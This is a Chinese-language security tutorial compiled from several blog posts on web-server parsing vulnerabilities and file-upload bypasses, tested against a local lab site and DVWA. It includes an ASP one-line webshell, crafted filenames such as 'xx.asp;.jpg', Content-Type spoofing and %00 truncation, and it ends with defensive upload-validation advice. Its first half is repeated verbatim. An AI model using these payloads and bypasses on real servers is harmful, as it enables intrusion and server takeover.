https://www.cnblogs.com/Hyber/p/6133196.html
https://www.jianshu.com/p/1811dab36158
https://blog.csdn.net/u011781521/article/details/58630742
https://blog.csdn.net/u011781521/article/details/58630742
https://blog.csdn.net/jblock/article/details/78556434
1.什么是解析漏洞
以其他格式执行出脚本格式的效果。
2.解析漏洞产生的条件
1.命名规则
2.搭建平台
3.常见的解析漏洞
(一)IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
1)目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。
2)文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
3)解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
(二)IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
(三)apache解析漏洞
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以php 方式执行。
修复方案
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉,重启apache,在网站根目录下建立.htaccess文件
(四)Nginx解析漏洞
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
总结:
IIS6.0(x和脚本格式可以自定义)
文件命名形式:
正常命名:www.xxx.com/logo.jpg
触发解析漏洞命名:www.xxx.com/logo.asp;.jpg 或 logo.asp;.x.jpg
文件夹命名形式:
正常命名:www.xxx.com/images/qq.jpg
触发解析漏洞命名:www.xxx.com/image.asp/qq.jpg
IIS7.X(x自定义,只能执行php)
正常命名:www.xxx.com/logo.jpg
触发解析漏洞命名:www.xxx.com/logo.jpg/x.php
Apache(xxxx代表任意后缀,向上识别解析)
正常命名:www.xxx.com/a.php
触发解析漏洞命名:www.xxx.com/a.php.xxxx
Nginx同iis7.x一致
4.一个简单的解析例子
测试环境为:windwos2003+iis6.0 注意:测试环境必须是在windwos2003+iis6.0的情况下才能成功解析,不能是小旋风之类的软件来测试。
1)文件解析
直接访问图片地址: http://192.168.87.129:8067/6.jpg
改变图片后戳名为:6.asp;.jpg 再次访问,就会发现,jpg格式的图片被解析成了asp格式的脚本语言。
还可以改成:6.asp;1234.jpg 效果是一样的。
2)目录解析
将文件改为一个正常的图片格式文件,然后把它复制到一个test.asp的目录下,然后方法,发现也能正常解析。
5.解析漏洞利用场景
解析漏洞主要用在文件上传,上传一些图片什么的,然后通过解析漏洞,解析为动态语言。而上传很重要的一点就是命名规则,因为如果你不知道,服务器的文件命名规则的话,解析漏洞就不好利用,因为我们要获取我们上传文件名,只有获取到了上传的文件名,才能进行下一步操作,而命名规则无非就是以下两种。
测试源码:http://download.csdn.net/detail/u011781521/9766646 下载好之后,在服务器中新建一个网站,并复制进去。
然后访问首页:http://192.168.87.129:8898/Index.asp
后台登录地址: http://192.168.87.129:8898/Tcnet/Admin_Login.asp
文件上传地址: http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg 用户名与密码: admin admin 注意:必须先要登录才能使用文件上传功能。
1.本地,服务端命名一致
1)filepath上传利用
直接上传解析漏洞命名的后门文件
访问这个地址:http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg
先直接上传一个asp的文件试试看能否上传
发现并不能上传。那我们就利用解析漏洞来试下看,把asp改为fk.asp;.jpg(注:这里是图片一句话)
OK能上传。复制上传好的地址,然后访问
图片能查看,但是asp并没有被解析。。。这是时候怎么办,从新上传xxx.asp;.jpg,然后用Burp来抓包,进行修改。
右键发送到Repeater中去
修改其中的"filepath"在upfile/后面加上aaa.asp;. 然后GO一下你就会发现,这里就成了一个解析漏洞了
然后访问下这个地址,asp成功的被解析了。
然后用菜刀进行连接。
密码就是"include";对应的asp一句话<%execute request("include")%> 然后点击添加。。
连接成功。
2.本地,服务端命名不一致,基于时间,日期等命名
1)filetype突破
这里采用DVWA来测试,
然后点击"View Source"查看源码。
Low代码:
- <?php
- if( isset( $_POST[ 'Upload' ] ) ) { //判断是否是post传过来的,也就是判断upload是否为空
- $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; //取得网站绝对路径,然后用绝对路径+相对路径得到一个完整的路径。
- $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //根据上面得到的完整路径+得到的文件名。
- if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { //判断你上传的图片是否成功移动到完整路径中
- // No
- echo '<pre>Your image was not uploaded.</pre>';
- }
- else {
- // Yes!
- echo "<pre>{$target_path} succesfully uploaded!</pre>";
- }
- }
- ?>
$_FILES['uploaded']['name'] :取得$_FILES全局文件变量的上传文件名
该源码存在的问题:
第一个没有验证后缀格式
什么格式得可以上传。。
第二个客户端,服务端文件命名一致
Medium代码:
- <?php
- if( isset( $_POST[ 'Upload' ] ) ) {
- // 我们要往哪里写?
- $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
- $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
- // 文件信息
- $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
- $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
- $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
- // 判断这是一个图片吗?
- if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
- ( $uploaded_size < 100000 ) ) {
- // 我们可以移动文件到上传文件夹吗?
- if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
- // No
- echo '<pre>Your image was not uploaded.</pre>';
- }
- else {
- // Yes!
- echo "<pre>{$target_path} succesfully uploaded!</pre>";
- }
- }
- else {
- // Invalid file
- echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
- }
- }
- ?>
$_FILES['uploaded']['name']; 取得$_FILES全局文件变量的上传文件名
$_FILES['uploaded']['type']; 取得$_FILES全局文件变量的上传文件类型
$_FILES['uploaded']['size']; 取得$_FILES全局文件变量的上传大小
验证文件上传类型及大小,还是本地,服务端命名一致
然后我们来上传个asp文件用Burp抓包,看是否能成功上传。
拦截到之后发送到Repeater,然后GO一下
上传失败。。。这就很好奇了,明明这里没有验证文件后戳名,为什么还是上传不了???? 但是,他这里验证了文件类型!!我们看下上传的文件是什么类型的
看它上传的类型为:application/octet-stram 所以他把上传的asp当做application来处理里。
然后我们改一下content-type的类型为:image/jpeg
再次GO一下,发现上传成功了。
2)%00截断:截断字符
注意:数据包修改%00,务必进行url编码
把6.asp;.jpg改为6.asp%00.jpg
然后选中右键把%00进行url编码下。
这样的话,就把.jpg给截断了,然后就变成了6.asp。
High代码:
- <?php
- if( isset( $_POST[ 'Upload' ] ) ) {
- // 我们要往哪里写?
- $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
- $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
- // 文件信息
- $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
- $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
- $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
- $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
- // 判断是否是图片?
- if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
- ( $uploaded_size < 100000 ) &&
- getimagesize( $uploaded_tmp ) ) {
- // 我们可以移动文件到上传文件夹吗?
- if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
- // No
- echo '<pre>Your image was not uploaded.</pre>';
- }
- else {
- // Yes!
- echo "<pre>{$target_path} succesfully uploaded!</pre>";
- }
- }
- else {
- // Invalid file
- echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
- }
- }
- ?>
strrpos( $uploaded_name, '.' ) + 1 的作用就是去文件的最后一个点
例如:
www.jpg.zip.txt.asp
他就会截取最后一个点,所以是绕不过的。
然后下面又是一个判断。格式必须是图片型的才能执行下面的代码。
很长一段时间像我这种菜鸡搞一个网站第一时间反应就是找上传,找上传。借此机会把文件上传的安全问题总结一下。
首先看一下DVWA给出的Impossible级别的完整代码:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
<?phpif( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}// Generate Anti-CSRF tokengenerateSessionToken();?> |
我们来分析一下文件安全上传的流程:
- 取文件最后的扩展名。1
$uploaded_ext=substr($uploaded_name,strrpos($uploaded_name,'.') + 1); - 对上传文件的文件名做随机数重命名操作,DVWA用的是MD5,rand()函数也可以。1
$target_file= md5( uniqid() .$uploaded_name) .'.'.$uploaded_ext; - 采取白名单方式验证文件的后缀名,MIME-TYPE类型,以及文件大小。123
if( (strtolower($uploaded_ext) =='jpg'||strtolower($uploaded_ext) =='jpeg'||strtolower($uploaded_ext) =='png') &&($uploaded_size< 100000 ) &&($uploaded_type=='image/jpeg'||$uploaded_type=='image/png' - 至关重要的一点,检查是否为真正图片。1
getimagesize($uploaded_tmp)\\ 若非图片,则返回一条Flase消息。 - GD库或image-magick进行二次渲染,洗掉图片中的恶意代码。1
$img= imagecreatefromjpeg($uploaded_tmp); - 采用相对路径回显到前端页面。1
if( rename($temp_file, (getcwd() . DIRECTORY_SEPARATOR .$target_path.$target_file) ) )
- 那些年程序员跟我一起踩过的雷(应用开发常见的错误,对照上文开发流程)
- JavaScript前端验证文件类型
不吹不黑,除了一些自己做过的政企站,还是一些临时页面。互联网行业还真没有这么写的。简而言之,就是把文件类型通过JavaScript代码验证文件类型。正确通过,错误跳一个alert弹窗。至于怎么绕不多赘述了,F12、burp大法好。小学生错误,不多赘述。
2. 上传文件黑名单,不验证MIME-TYPE类型。
保证安全的文件上传一定要用白名单,同时要验证MIME-TYPE类型。普通的黑名单bypass不过多赘述,大家都比较了解。印象比较深的就是某第三方开发软件,通过黑名单验证的上传文件类型而非白名单。结果jspx这个文件没有被黑名单包含,加之Tomcat6.0默认配置文件能正常解析jspx,直接服务器权限就被拿掉了,剩下做的说多了都是泪。
3. 不验证是否为真正的图片文件。
仅仅验证后缀名和MIME-TYPE类型是无法判断是否为真正的文件。这时候PHP中主要通过getimagesize()来分辨图片。首先要说一下文件幻数:
打开winhex我们可以看到,不同图片格式的二进制流是一致的。
例如GIF文件就是GIF89a,新建了一个.gif文件,通过Notepad++编辑如下:
|
1
2
3
4
|
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of binary data ...) |
我们用winhex打开相关文件可以看出:
我们再使用getimagesize()函数获取并echo一下相关的变量值。
如果不使用,文件幻数头:
重复上述实验,返回false。也就是说在验证了后缀名白名单,MIME-TYPE以及图片幻数后,我们能确保上传的文件一定是一个图片。然而,还有种传说中的东西没法防御。图片马+解析漏洞,或者图片马+包含漏洞。
4. 图片二次渲染
通过GD库的imagecreatefromjpeg()函数,我们可以洗掉文件中的一句话木马,或者恶意代码。保证文件二进制流中,不包含恶意代码。这对解析漏洞或者包含漏洞有着非常不错的防御作用。
5. 不限制上传覆盖.htacess文件
如果不限制上传覆盖.htaccess文件,我们上述的所有努力都可能白费。
- 总结:
本篇仅仅从代码设计层面去考虑文件上传的安全性,未涉及相关的运维安全问题。例如Nginx与Apache的解析漏洞也应该在防御考虑当中。以及PHP所产生的00截断问题。这里不详加赘述。文章如有错误,欢迎大家指正。
https://www.cnblogs.com/Hyber/p/6133196.html
https://www.jianshu.com/p/1811dab36158
https://blog.csdn.net/u011781521/article/details/58630742
https://blog.csdn.net/u011781521/article/details/58630742
https://blog.csdn.net/jblock/article/details/78556434
1.什么是解析漏洞
以其他格式执行出脚本格式的效果。
2.解析漏洞产生的条件
1.命名规则
2.搭建平台
3.常见的解析漏洞
(一)IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
1)目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。
2)文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
3)解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
(二)IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
(三)apache解析漏洞
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以php 方式执行。
修复方案
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉,重启apache,在网站根目录下建立.htaccess文件
(四)Nginx解析漏洞
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
总结:
IIS6.0(x和脚本格式可以自定义)
文件命名形式:
正常命名:www.xxx.com/logo.jpg
触发解析漏洞命名:www.xxx.com/logo.asp;.jpg 或 logo.asp;.x.jpg
文件夹命名形式:
正常命名:www.xxx.com/images/qq.jpg
触发解析漏洞命名:www.xxx.com/image.asp/qq.jpg
IIS7.X(x自定义,只能执行php)
正常命名:www.xxx.com/logo.jpg
触发解析漏洞命名:www.xxx.com/logo.jpg/x.php
Apache(xxxx代表任意后缀,向上识别解析)
正常命名:www.xxx.com/a.php
触发解析漏洞命名:www.xxx.com/a.php.xxxx
Nginx同iis7.x一致
4.一个简单的解析例子
测试环境为:windwos2003+iis6.0 注意:测试环境必须是在windwos2003+iis6.0的情况下才能成功解析,不能是小旋风之类的软件来测试。
1)文件解析
直接访问图片地址: http://192.168.87.129:8067/6.jpg
改变图片后戳名为:6.asp;.jpg 再次访问,就会发现,jpg格式的图片被解析成了asp格式的脚本语言。
还可以改成:6.asp;1234.jpg 效果是一样的。
2)目录解析
将文件改为一个正常的图片格式文件,然后把它复制到一个test.asp的目录下,然后方法,发现也能正常解析。
5.解析漏洞利用场景
解析漏洞主要用在文件上传,上传一些图片什么的,然后通过解析漏洞,解析为动态语言。而上传很重要的一点就是命名规则,因为如果你不知道,服务器的文件命名规则的话,解析漏洞就不好利用,因为我们要获取我们上传文件名,只有获取到了上传的文件名,才能进行下一步操作,而命名规则无非就是以下两种。
测试源码:http://download.csdn.net/detail/u011781521/9766646 下载好之后,在服务器中新建一个网站,并复制进去。
然后访问首页:http://192.168.87.129:8898/Index.asp
后台登录地址: http://192.168.87.129:8898/Tcnet/Admin_Login.asp
文件上传地址: http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg 用户名与密码: admin admin 注意:必须先要登录才能使用文件上传功能。
1.本地,服务端命名一致
1)filepath上传利用
直接上传解析漏洞命名的后门文件
访问这个地址:http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg
先直接上传一个asp的文件试试看能否上传
发现并不能上传。那我们就利用解析漏洞来试下看,把asp改为fk.asp;.jpg(注:这里是图片一句话)
OK能上传。复制上传好的地址,然后访问
图片能查看,但是asp并没有被解析。。。这是时候怎么办,从新上传xxx.asp;.jpg,然后用Burp来抓包,进行修改。
右键发送到Repeater中去
修改其中的"filepath"在upfile/后面加上aaa.asp;. 然后GO一下你就会发现,这里就成了一个解析漏洞了
然后访问下这个地址,asp成功的被解析了。
然后用菜刀进行连接。
密码就是"include";对应的asp一句话<%execute request("include")%> 然后点击添加。。
连接成功。
2.本地,服务端命名不一致,基于时间,日期等命名
1)filetype突破
这里采用DVWA来测试,
然后点击"View Source"查看源码。
Low代码:
- <?php
- if( isset( $_POST[ 'Upload' ] ) ) { //判断是否是post传过来的,也就是判断upload是否为空
- $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; //取得网站绝对路径,然后用绝对路径+相对路径得到一个完整的路径。
- $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //根据上面得到的完整路径+得到的文件名。
- if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { //判断你上传的图片是否成功移动到完整路径中
- // No
- echo '<pre>Your image was not uploaded.</pre>';
- }
- else {
- // Yes!
- echo "<pre>{$target_path} succesfully uploaded!</pre>";
- }
- }
- ?>
$_FILES['uploaded']['name'] :取得$_FILES全局文件变量的上传文件名
该源码存在的问题:
第一个没有验证后缀格式
什么格式得可以上传。。
第二个客户端,服务端文件命名一致
Medium代码:
- <?php
- if( isset( $_POST[ 'Upload' ] ) ) {
- // 我们要往哪里写?
- $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
- $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
- // 文件信息
- $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
- $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
- $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
- // 判断这是一个图片吗?
- if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
- ( $uploaded_size < 100000 ) ) {
- // 我们可以移动文件到上传文件夹吗?
- if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
- // No
- echo '<pre>Your image was not uploaded.</pre>';
- }
- else {
- // Yes!
- echo "<pre>{$target_path} succesfully uploaded!</pre>";
- }
- }
- else {
- // Invalid file
- echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
- }
- }
- ?>
$_FILES['uploaded']['name']; 取得$_FILES全局文件变量的上传文件名
$_FILES['uploaded']['type']; 取得$_FILES全局文件变量的上传文件类型
$_FILES['uploaded']['size']; 取得$_FILES全局文件变量的上传大小
验证文件上传类型及大小,还是本地,服务端命名一致
然后我们来上传个asp文件用Burp抓包,看是否能成功上传。
拦截到之后发送到Repeater,然后GO一下
上传失败。。。这就很好奇了,明明这里没有验证文件后戳名,为什么还是上传不了???? 但是,他这里验证了文件类型!!我们看下上传的文件是什么类型的
看它上传的类型为:application/octet-stram 所以他把上传的asp当做application来处理里。
然后我们改一下content-type的类型为:image/jpeg
再次GO一下,发现上传成功了。
2)%00截断:截断字符
注意:数据包修改%00,务必进行url编码
把6.asp;.jpg改为6.asp%00.jpg
然后选中右键把%00进行url编码下。
这样的话,就把.jpg给截断了,然后就变成了6.asp。
High代码:
- <?php
- if( isset( $_POST[ 'Upload' ] ) ) {
- // 我们要往哪里写?
- $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
- $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
- // 文件信息
- $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
- $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
- $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
- $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
- // 判断是否是图片?
- if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
- ( $uploaded_size < 100000 ) &&
- getimagesize( $uploaded_tmp ) ) {
- // 我们可以移动文件到上传文件夹吗?
- if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
- // No
- echo '<pre>Your image was not uploaded.</pre>';
- }
- else {
- // Yes!
- echo "<pre>{$target_path} succesfully uploaded!</pre>";
- }
- }
- else {
- // Invalid file
- echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
- }
- }
- ?>
strrpos( $uploaded_name, '.' ) + 1 的作用就是去文件的最后一个点
例如:
www.jpg.zip.txt.asp
他就会截取最后一个点,所以是绕不过的。
然后下面又是一个判断。格式必须是图片型的才能执行下面的代码。